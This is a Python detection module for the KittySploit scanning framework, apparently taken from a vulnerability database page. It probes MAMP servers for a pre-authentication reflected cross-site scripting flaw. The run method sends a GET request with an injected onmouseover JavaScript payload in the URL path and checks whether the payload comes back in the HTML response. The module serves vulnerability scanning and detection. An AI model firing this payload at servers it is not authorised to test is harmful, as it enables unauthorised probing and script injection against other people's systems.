MAMP Server - Cross-Site Scripting Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A Cross-Site Scripting (XSS) vulnerability exists in the default installation of MAMP server."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'MAMP Server - Cross-Site Scripting Detection',
'description': "A Cross-Site Scripting (XSS) vulnerability exists in the default installation of MAMP server. The file `/Applications/MAMP/htdocs/index.php` is susceptible to malicious input, allowing attackers to inject JavaScript code that executes in the context of the victim's browser. This vulnerability can be exploited without prior authentication.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'vulnerability', 'mamp', 'server', 'xss', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://octagon.net/blog/2022/01/26/mamp-server-preauth-xss-leading-to-host-compromise-0day/',
],
}
def run(self):
path = '/index.php/test"%20onmouseover="alert(document.domain);"%20style="font-size:100000px;background-color:white";'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
body_all = ('MAMP', 'test" onmouseover="alert(document.domain);" style',)
ctype_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in content_type for m in ctype_any)):
self.set_info(
severity='medium',
reason='MAMP Server - Cross-Site Scripting detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
5.9Medium risk
Vulners AI Score5.9